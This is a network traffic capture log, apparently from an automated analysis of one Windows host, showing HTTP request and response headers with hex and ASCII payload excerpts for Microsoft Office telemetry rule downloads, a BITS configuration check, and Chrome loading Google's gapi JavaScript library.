2024-11-12 12:35:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:21 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5d06d88c-b01e-0084-0908-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123521Z-16547b76f7f7lhvnhC1DFWa2k00000000fh0000000007zbb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:21 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49766	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:21 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-12 12:35:21 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=187780 Date: Tue, 12 Nov 2024 12:35:21 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49768	172.217.18.14	443	4236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:21 UTC	721	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 12:35:21 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 12 Nov 2024 03:04:08 GMT Expires: Wed, 12 Nov 2025 03:04:08 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 34273 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-12 12:35:21 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-12 12:35:21 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-11-12 12:35:21 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-11-12 12:35:21 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-11-12 12:35:21 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-11-12 12:35:21 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-11-12 12:35:21 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-11-12 12:35:21 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-11-12 12:35:21 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-11-12 12:35:21 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:21 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:21 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: de083b16-101e-0079-14f1-2c5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123521Z-16547b76f7fxsvjdhC1DFWprrs0000000fn0000000002n3w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:21 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:21 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:21 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: db719d09-901e-005b-33cb-322005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123521Z-16547b76f7fp6mhthC1DFWrggn0000000fqg0000000094tr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:21 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:21 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:22 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:21 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 5703d523-f01e-005d-32a0-3413ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123521Z-15869dbbcc6vr5dxhC1DFWyw4g00000001t0000000003m95 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 12:35:22 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:21 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:21 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: aa5f00e8-901e-0029-53a0-34274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123521Z-17df447cdb5fh5hghC1DFWam040000000900000000007n0s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
